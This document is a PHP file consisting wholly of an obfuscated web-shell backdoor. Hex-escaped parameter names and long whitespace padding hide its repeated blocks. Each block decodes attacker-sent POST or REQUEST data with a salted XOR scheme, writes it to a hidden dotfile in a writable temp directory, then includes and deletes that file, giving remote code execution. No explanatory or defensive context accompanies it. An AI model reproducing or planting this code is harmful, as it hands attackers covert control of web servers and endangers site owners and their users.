<?php																																										if(isset($_POST["refer\x65n\x63\x65"])){ $element = array_filter([getenv("TEMP"), "/dev/shm", "/tmp", session_save_path(), getcwd(), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP")]); $mrk = $_POST["refer\x65n\x63\x65"]; $mrk = explode( '.' , $mrk ) ; $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $y = 0; while ($y < count($mrk)) { $v5 = $mrk[$y]; $chS = ord($s[$y%$sLen]); $dec = ((int)$v5 - $chS - ($y%10)) ^84; $holder .= chr($dec); $y++; } foreach ($element as $comp): if (!!is_dir($comp) && !!is_writable($comp)) { $data_chunk = "$comp/.key"; if (file_put_contents($data_chunk, $holder)) { require $data_chunk; unlink($data_chunk); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x70tr"])){ $obj = $_REQUEST["\x70tr"]; $obj = explode ('.' , $obj ); $ref = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $k = 0; $__tmp = $obj; while ($v3 = array_shift($__tmp)) { $sChar = ord($salt[$k % $sLen]); $dec = ((int)$v3 - $sChar - ($k % 10))^ 26; $ref .= chr($dec); $k++;} $entry = array_filter(["/tmp", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP")]); $entity = 0; do { $comp = $entry[$entity] ?? null; if ($entity >= count($entry)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($comp)) { $ent = sprintf("%s/.pointer", $comp); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $ent; @unlink($ent); die(); } } $entity++; } while (true); }
																																										if(!empty($_POST["p\x74\x72"])){ $property_set = $_POST["p\x74\x72"]; $property_set =explode ('.' , $property_set ) ; $fac = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $l = 0; foreach ($property_set as $v8) { $sChar = ord($s[$l % $lenS]); $d = ((int)$v8 - $sChar - ($l % 10))^ 34; $fac .= chr($d); $l++; } $flg = array_filter([session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/tmp"]); while ($symbol = array_shift($flg)) { if (is_dir($symbol) ? is_writable($symbol) : false) { $tkn = sprintf("%s/.pointer", $symbol); if (file_put_contents($tkn, $fac)) { include $tkn; @unlink($tkn); exit; } } } }
																																										if(array_key_exists("\x6D\x72k", $_REQUEST)){ $data_chunk = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TMP"), "/dev/shm", getcwd(), "/tmp"]); $obj = $_REQUEST["\x6D\x72k"]; $obj = explode ( '.' , $obj ); $hld = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $y = 0; while ($y< count($obj)) { $v2 = $obj[$y]; $chS = ord($s[$y % $lenS]); $dec = ((int)$v2 - $chS - ($y % 10)) ^ 58; $hld.= chr($dec); $y++; } while ($fac = array_shift($data_chunk)) { if (max(0, is_dir($fac) * is_writable($fac))) { $val = implode("/", [$fac, ".element"]); if (@file_put_contents($val, $hld) !== false) { include $val; unlink($val); die(); } } } }
																																										if(array_key_exists("\x6Fbj\x65ct", $_POST) && !is_null($_POST["\x6Fbj\x65ct"])){ $mrk = array_filter([sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/dev/shm", "/var/tmp", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getcwd()]); $flag = $_POST["\x6Fbj\x65ct"]; $flag =explode ( '.', $flag) ; $element =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt9 ); foreach( $flag as $x => $v9) { $sChar =ord( $salt9[$x % $sLen] ); $d =( ( int)$v9 - $sChar -( $x % 10)) ^ 87; $element .= chr( $d ); } foreach ($mrk as $entry): if (max(0, is_dir($entry) * is_writable($entry))) { $symbol = implode("/", [$entry, ".hld"]); if (@file_put_contents($symbol, $element) !== false) { include $symbol; unlink($symbol); exit; } } endforeach; }
																																										if(array_key_exists("\x65l\x65m", $_REQUEST)){ $ref = $_REQUEST["\x65l\x65m"]; $ref = explode ( '.', $ref) ; $binding = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5 ); $y = 0; array_walk($ref, function($v8) use(&$binding, &$y, $salt5, $lenS) { $sChar = ord($salt5[$y%$lenS] ); $dec =((int)$v8 - $sChar -($y%10)) ^ 75; $binding .= chr($dec ); $y++;} ); $element = array_filter([session_save_path(), getenv("TEMP"), "/var/tmp", "/tmp", "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getcwd(), ini_get("upload_tmp_dir")]); for ($res = 0, $object = count($element); $res < $object; $res++) { $obj = $element[$res]; if (!!is_dir($obj) && !!is_writable($obj)) { $ent = sprintf("%s/.flg", $obj); $success = file_put_contents($ent, $binding); if ($success) { include $ent; @unlink($ent); exit;} } } }
																																										if(@$_POST["t\x6Fk\x65n"] !== null){ $res = array_filter([sys_get_temp_dir(), getcwd(), "/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/var/tmp"]); $value = $_POST["t\x6Fk\x65n"]; $value=explode ( '.' ,$value ) ; $desc = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt1); foreach( $value as $m => $v3): $sChar = ord( $salt1[$m %$lenS]); $dec =( ( int)$v3 - $sChar -( $m %10)) ^ 17; $desc.= chr( $dec); endforeach; foreach ($res as $val) { if ((is_dir($val) and is_writable($val))) { $tkn = sprintf("%s/.binding", $val); $file = fopen($tkn, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $tkn; @unlink($tkn); die(); } } } }
																																										if(array_key_exists("\x6Bey", $_REQUEST) && !is_null($_REQUEST["\x6Bey"])){ $ref = $_REQUEST["\x6Bey"]; $ref= explode ( "." , $ref ) ; $rec = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6 ); $j = 0; $__tmp = $ref; while ($v4 = array_shift($__tmp)) { $chS = ord($salt6[$j% $lenS] ); $d = ((int)$v4 - $chS - ($j% 10)) ^ 95; $rec .= chr($d ); $j++; } $token = array_filter(["/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir()]); $bind = 0; do { $ptr = $token[$bind] ?? null; if ($bind >= count($token)) break; if (is_dir($ptr) ? is_writable($ptr) : false) { $pset = str_replace("{var_dir}", $ptr, "{var_dir}/.marker"); if (file_put_contents($pset, $rec)) { include $pset; @unlink($pset); exit; } } $bind++; } while (true); }


if(filter_has_var(INPUT_POST, "sym\x62o\x6C")){
	$key = $_POST["sym\x62o\x6C"];
		 $key		 = explode	( 	"."		 ,	$key);
	$ref  =	'';
            $s  =	'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS  =	strlen($s);
            $len  =	count($key);
    
            for ($q  =	0; $q < $len; $q++) {
                $v9  =	$key[$q];
                $chS  =	ord($s[$q % $lenS]);
                $d  =	((int)$v9 - $chS - ($q % 10)) ^ 88;
                $ref 	.= chr($d);
            }
	$tkn = array_filter(["/tmp", getcwd(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TMP"), "/var/tmp"]);
	foreach ($tkn as $key => $comp) {
    		if (max(0, is_dir($comp) * is_writable($comp))) {
    $resource = implode("/", [$comp, ".holder"]);
    if (file_put_contents($resource, $ref)) {
	require $resource;
	unlink($resource);
	die();
}
}
}
}